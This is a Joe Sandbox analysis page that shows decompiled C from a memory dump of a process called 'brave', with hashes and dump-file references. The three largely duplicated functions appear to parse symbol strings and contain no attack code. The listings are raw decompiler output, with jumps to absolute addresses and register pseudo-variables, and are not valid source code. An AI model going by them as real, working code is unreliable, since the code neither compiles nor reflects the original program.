Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 37f3f2d3625911fd641b2de8ad5874d53c48ca85b7324cd949d13aaa1983ce2d
Instruction ID: 102d05822a11e8b62133adfbb1aadc5b77f88966282cac412dcd24d4bacc2ae8
Opcode Fuzzy Hash: 37f3f2d3625911fd641b2de8ad5874d53c48ca85b7324cd949d13aaa1983ce2d
Instruction Fuzzy Hash: D8310432609B08C2E7208F08F88539A37A0FB9479DF244225C2EC477A5DFBDD284D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C64A2 Relevance: 1.3, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00007FF67FF6FC4C64A2(void* __rbx, signed char* _a40) {
				signed int _t52;
				signed int _t56;
				signed int _t59;
				void* _t78;
				intOrPtr* _t83;
				signed char* _t84;
				signed char* _t86;
				signed char* _t87;
				signed char* _t105;
				signed char* _t106;
				long long _t112;

				_t56 =  *(__rbx + 0x28);
				if (_t56 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t83 = (_t56 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t83 + 4)) = 0;
				 *(__rbx + 0x28) = _t56 + 1;
				 *_t83 = 0x27;
				 *((long long*)(_t83 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t83, __rbx);
				_a40 = _t83;
				if (_t83 == 0) goto 0xfc4c5c20;
				if ( *_t83 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t84 = _t83 + 1;
				 *(__rbx + 0x18) = _t84;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t84;
				_t105 = _t84;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t105[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t105;
				_t86 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t112 = _a40;
				if (_t112 == 0) goto 0xfc4c5c20;
				_t59 =  *(__rbx + 0x38);
				if (_t59 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t59 * 8)) = _t112;
				 *(__rbx + 0x38) = _t59 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t86;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t112 + 3;
				E00007FF67FF6FC4C7F20(_t86, __rbx);
				_t106 = _t86;
				if (_t86 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t106);
				_push(__rbx);
				_t87 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t87[1]);
				r10d =  *_t87 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t52 = (r8d >> 0x1f) + r8d >> 1;
				_t78 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t52 + _t52 * 2) * 8)))) - r10b;
				if (_t78 == 0) goto 0xfc4c6680;
				if (_t78 <= 0) goto 0xfc4c66c0;
				r8d = _t52;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 72a28a4e1bc0948299e3cccf8a3d13fd9d7aa53636f7362034fbfa0315eaaf2c
Instruction ID: e1fd2b990119334cb30feff613b5488978249836e747885cf3fe516f05dc1ff3
Opcode Fuzzy Hash: 72a28a4e1bc0948299e3cccf8a3d13fd9d7aa53636f7362034fbfa0315eaaf2c
Instruction Fuzzy Hash: C2310532909B09C2E7208F08F88539937A0FB9479DF254225C2EC477A5DFBDD284D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C62C7 Relevance: 1.3, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF67FF6FC4C62C7(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t100;
				signed int _t111;
				signed int _t117;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t160;
				intOrPtr* _t165;
				intOrPtr* _t168;
				char* _t169;
				signed char* _t170;
				intOrPtr* _t173;
				intOrPtr* _t176;
				signed char* _t179;
				intOrPtr* _t182;
				signed char* _t183;
				signed char* _t185;
				signed char* _t186;
				intOrPtr* _t218;
				signed char* _t219;
				signed char* _t220;
				long long _t229;
				void* _t236;

				_t117 =  *(__rbx + 0x28);
				if (_t117 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26a9;
				_t165 = (_t117 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t117 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0xfc7753c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2702;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0xfc775360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0xfc4c5c22;
				 *_t168 =  *_t168 + __eax;
				_t100 =  *(__rbx + 0x28);
				if (_t100 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t218 = (_t100 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t218 + 4)) = 0;
				 *(__rbx + 0x28) = _t100 + 1;
				 *_t218 = 0x42;
				 *((intOrPtr*)(_t218 + 0x10)) = E00007FF67FF6FC4C4E90(_t168, __rbx, __rdx, __r8, _t236);
				_t169 =  *(__rbx + 0x18);
				if ( *_t169 != 0x5f) goto 0xfc4c5c20;
				_t170 = _t169 + 1;
				 *(__rbx + 0x18) = _t170;
				E00007FF67FF6FC4C5BC0();
				E00007FF67FF6FC4C4DD0();
				_a40 = _t170;
				_t122 =  *(__rbx + 0x28);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t173 = (_t122 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t173 + 4)) = 0;
				 *(__rbx + 0x28) = _t122 + 1;
				 *_t173 = 0x27;
				 *((long long*)(_t173 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t124 =  *(__rbx + 0x28);
				if (_t124 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t176 = (_t124 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t124 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t126 =  *(__rbx + 0x28);
				if (_t126 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t179 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t126 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t179;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t182, __rbx);
				_a40 = _t182;
				if (_t182 == 0) goto 0xfc4c5c20;
				if ( *_t182 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t183 = _t182 + 1;
				 *(__rbx + 0x18) = _t183;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t183;
				_t219 = _t183;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t219[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t219;
				_t185 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t229 = _a40;
				if (_t229 == 0) goto 0xfc4c5c20;
				_t132 =  *(__rbx + 0x38);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t132 * 8)) = _t229;
				 *(__rbx + 0x38) = _t132 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t185;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t229 + 3;
				E00007FF67FF6FC4C7F20(_t185, __rbx);
				_t220 = _t185;
				if (_t185 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t220);
				_push(__rbx);
				_t186 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t186[1]);
				r10d =  *_t186 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t111 = (r8d >> 0x1f) + r8d >> 1;
				_t160 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t111 + _t111 * 2) * 8)))) - r10b;
				if (_t160 == 0) goto 0xfc4c6680;
				if (_t160 <= 0) goto 0xfc4c66c0;
				r8d = _t111;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c62c7
0x7ff6fc4c62cd
0x7ff6fc4c62e4
0x7ff6fc4c62e8
0x7ff6fc4c62f0
0x7ff6fc4c62f3
0x7ff6fc4c62f9
0x7ff6fc4c62fd
0x7ff6fc4c6306
0x7ff6fc4c630c
0x7ff6fc4c6323
0x7ff6fc4c6327
0x7ff6fc4c632f
0x7ff6fc4c6332
0x7ff6fc4c6338
0x7ff6fc4c633c
0x7ff6fc4c6340
0x7ff6fc4c634e
0x7ff6fc4c6350
0x7ff6fc4c6356
0x7ff6fc4c6369
0x7ff6fc4c636d
0x7ff6fc4c6375
0x7ff6fc4c6378
0x7ff6fc4c6383
0x7ff6fc4c6386
0x7ff6fc4c638d
0x7ff6fc4c6393
0x7ff6fc4c639a
0x7ff6fc4c639e
0x7ff6fc4c63b1
0x7ff6fc4c63b6
0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
0x7ff6fc4c6428
0x7ff6fc4c642b
0x7ff6fc4c6431
0x7ff6fc4c6435
0x7ff6fc4c643e
0x7ff6fc4c6444
0x7ff6fc4c645b
0x7ff6fc4c645f
0x7ff6fc4c6467
0x7ff6fc4c646a
0x7ff6fc4c6470
0x7ff6fc4c6474
0x7ff6fc4c6480
0x7ff6fc4c6485
0x7ff6fc4c6493
0x7ff6fc4c6498
0x7ff6fc4c64a2
0x7ff6fc4c64a8
0x7ff6fc4c64bf
0x7ff6fc4c64c3
0x7ff6fc4c64cb
0x7ff6fc4c64ce
0x7ff6fc4c64d4
0x7ff6fc4c64d8
0x7ff6fc4c64dc
0x7ff6fc4c64eb
0x7ff6fc4c64f0
0x7ff6fc4c64f8
0x7ff6fc4c6501
0x7ff6fc4c6507
0x7ff6fc4c6512
0x7ff6fc4c6517
0x7ff6fc4c651e
0x7ff6fc4c6522
0x7ff6fc4c6537
0x7ff6fc4c653c
0x7ff6fc4c6541
0x7ff6fc4c6544
0x7ff6fc4c6550
0x7ff6fc4c6557
0x7ff6fc4c655e
0x7ff6fc4c656a
0x7ff6fc4c656c
0x7ff6fc4c6570
0x7ff6fc4c6575
0x7ff6fc4c657c
0x7ff6fc4c657f
0x7ff6fc4c6584
0x7ff6fc4c658c
0x7ff6fc4c6592
0x7ff6fc4c6598
0x7ff6fc4c65a8
0x7ff6fc4c65b2
0x7ff6fc4c65ba
0x7ff6fc4c65bf
0x7ff6fc4c65d0
0x7ff6fc4c65da
0x7ff6fc4c65de
0x7ff6fc4c65e6
0x7ff6fc4c65ec
0x7ff6fc4c65f2
0x7ff6fc4c65f7
0x7ff6fc4c6600
0x7ff6fc4c6601
0x7ff6fc4c6602
0x7ff6fc4c6607
0x7ff6fc4c6614
0x7ff6fc4c661e
0x7ff6fc4c6626
0x7ff6fc4c662d
0x7ff6fc4c6633
0x7ff6fc4c6642
0x7ff6fc4c6656
0x7ff6fc4c6666
0x7ff6fc4c6669
0x7ff6fc4c666b
0x7ff6fc4c666d
0x7ff6fc4c6673
0x7ff6fc4c667e

APIs

malloc.MSVCRT ref: 00007FF6FC4F2752

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 20424c13b3fe3a61d91eaf3b8454916fd22ba680c96b86fb48c1f8e48ee5258f
Instruction ID: b6f9845726916a5c0b9a1fe19090fccfb2a69650cd473be0beb20685e4df2134
Opcode Fuzzy Hash: 20424c13b3fe3a61d91eaf3b8454916fd22ba680c96b86fb48c1f8e48ee5258f
Instruction Fuzzy Hash: E921E372909B09C2E7208F18F8853A937A0FB9475DF255225C2EC877A5EFBDD284D784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C6249 Relevance: 1.3, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF67FF6FC4C6249(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t116;
				signed int _t127;
				signed int _t133;
				signed int _t135;
				signed int _t137;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int _t149;
				signed int _t152;
				void* _t182;
				intOrPtr* _t187;
				intOrPtr* _t190;
				intOrPtr* _t193;
				intOrPtr* _t196;
				char* _t197;
				signed char* _t198;
				intOrPtr* _t201;
				intOrPtr* _t204;
				signed char* _t207;
				intOrPtr* _t210;
				signed char* _t211;
				signed char* _t213;
				signed char* _t214;
				intOrPtr* _t248;
				signed char* _t249;
				signed char* _t250;
				long long _t259;
				void* _t266;

				_t133 =  *(__rbx + 0x28);
				if (_t133 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26c9;
				_t187 = (_t133 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t133 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0xfc775380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t135 =  *(__rbx + 0x28);
				if (_t135 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26dc;
				_t190 = (_t135 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t135 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0xfc775320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t137 =  *(__rbx + 0x28);
				if (_t137 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26a9;
				_t193 = (_t137 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t137 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0xfc7753c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2702;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0xfc775360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0xfc4c5c22;
				 *_t196 =  *_t196 + __eax;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4c5c20;
				_t248 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t248 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t248 = 0x42;
				 *((intOrPtr*)(_t248 + 0x10)) = E00007FF67FF6FC4C4E90(_t196, __rbx, __rdx, __r8, _t266);
				_t197 =  *(__rbx + 0x18);
				if ( *_t197 != 0x5f) goto 0xfc4c5c20;
				_t198 = _t197 + 1;
				 *(__rbx + 0x18) = _t198;
				E00007FF67FF6FC4C5BC0();
				E00007FF67FF6FC4C4DD0();
				_a40 = _t198;
				_t142 =  *(__rbx + 0x28);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2670;
				_t201 = (_t142 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t201 + 4)) = 0;
				 *(__rbx + 0x28) = _t142 + 1;
				 *_t201 = 0x27;
				 *((long long*)(_t201 + 0x10)) = 0xfc775340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t144 =  *(__rbx + 0x28);
				if (_t144 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2715;
				_t204 = (_t144 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t204 + 4)) = 0;
				 *(__rbx + 0x28) = _t144 + 1;
				 *_t204 = 0x27;
				 *((long long*)(_t204 + 0x10)) = 0xfc775400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t146 =  *(__rbx + 0x28);
				if (_t146 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f26ef;
				_t207 = (_t146 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t207 + 4)) = 0;
				 *(__rbx + 0x28) = _t146 + 1;
				 *_t207 = 0x27;
				 *((long long*)(_t207 + 0x10)) = 0xfc7753a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF6FC4C5BC0();
				r9d = 0;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t207;
				_t149 =  *(__rbx + 0x28);
				if (_t149 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0xfc4f2683;
				_t210 = (_t149 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t210 + 4)) = 0;
				 *(__rbx + 0x28) = _t149 + 1;
				 *_t210 = 0x27;
				 *((long long*)(_t210 + 0x10)) = 0xfc7753e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0xfc4c5c22;
				E00007FF67FF6FC4C6EE0(_t210, __rbx);
				_a40 = _t210;
				if (_t210 == 0) goto 0xfc4c5c20;
				if ( *_t210 != 0x18) goto 0xfc4c5d39;
				goto 0xfc4c5c22;
				goto 0xfc4c6051;
				_t211 = _t210 + 1;
				 *(__rbx + 0x18) = _t211;
				E00007FF67FF6FC4C89F0(__rbx);
				E00007FF67FF6FC4C4DD0();
				_a40 = _t211;
				_t249 = _t211;
				goto 0xfc4c5f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t249[1]);
				E00007FF67FF6FC4C89F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0xfc4c6584;
				 *(__rbx + 0x18) = _t249;
				_t213 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0xfc4c5d30;
				_t259 = _a40;
				if (_t259 == 0) goto 0xfc4c5c20;
				_t152 =  *(__rbx + 0x38);
				if (_t152 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0xfc4c5c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t152 * 8)) = _t259;
				 *(__rbx + 0x38) = _t152 + 1;
				E00007FF67FF6FC4C4DD0();
				_a40 = _t213;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t259 + 3;
				E00007FF67FF6FC4C7F20(_t213, __rbx);
				_t250 = _t213;
				if (_t213 != 0) goto 0xfc4c6386;
				goto 0xfc4c5c20;
				asm("o16 nop [eax+eax]");
				_push(0xfc7753e0);
				_push(_t250);
				_push(__rbx);
				_t214 =  *(__rbx + 0x18);
				if (sil == 0) goto 0xfc4c66c8;
				 *(__rbx + 0x18) =  &(_t214[1]);
				r10d =  *_t214 & 0x000000ff;
				if (sil != 0) goto 0xfc4c66d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t127 = (r8d >> 0x1f) + r8d >> 1;
				_t182 =  *((intOrPtr*)( *((intOrPtr*)(0xfc774820 + (_t127 + _t127 * 2) * 8)))) - r10b;
				if (_t182 == 0) goto 0xfc4c6680;
				if (_t182 <= 0) goto 0xfc4c66c0;
				r8d = _t127;
				if (0 != r8d) goto 0xfc4c6648;
				return 0;
			}

0x7ff6fc4c6249
0x7ff6fc4c624f
0x7ff6fc4c6266
0x7ff6fc4c626a
0x7ff6fc4c6272
0x7ff6fc4c6275
0x7ff6fc4c627b
0x7ff6fc4c627f
0x7ff6fc4c6288
0x7ff6fc4c628e
0x7ff6fc4c62a5
0x7ff6fc4c62a9
0x7ff6fc4c62b1
0x7ff6fc4c62b4
0x7ff6fc4c62ba
0x7ff6fc4c62be
0x7ff6fc4c62c7
0x7ff6fc4c62cd
0x7ff6fc4c62e4
0x7ff6fc4c62e8
0x7ff6fc4c62f0
0x7ff6fc4c62f3
0x7ff6fc4c62f9
0x7ff6fc4c62fd
0x7ff6fc4c6306
0x7ff6fc4c630c
0x7ff6fc4c6323
0x7ff6fc4c6327
0x7ff6fc4c632f
0x7ff6fc4c6332
0x7ff6fc4c6338
0x7ff6fc4c633c
0x7ff6fc4c6340
0x7ff6fc4c634e
0x7ff6fc4c6350
0x7ff6fc4c6356
0x7ff6fc4c6369
0x7ff6fc4c636d
0x7ff6fc4c6375
0x7ff6fc4c6378
0x7ff6fc4c6383
0x7ff6fc4c6386
0x7ff6fc4c638d
0x7ff6fc4c6393
0x7ff6fc4c639a
0x7ff6fc4c639e
0x7ff6fc4c63b1
0x7ff6fc4c63b6
0x7ff6fc4c63c0
0x7ff6fc4c63c6
0x7ff6fc4c63dd
0x7ff6fc4c63e1
0x7ff6fc4c63e9
0x7ff6fc4c63ec
0x7ff6fc4c63f2
0x7ff6fc4c63f6
0x7ff6fc4c63ff
0x7ff6fc4c6405
0x7ff6fc4c641c
0x7ff6fc4c6420
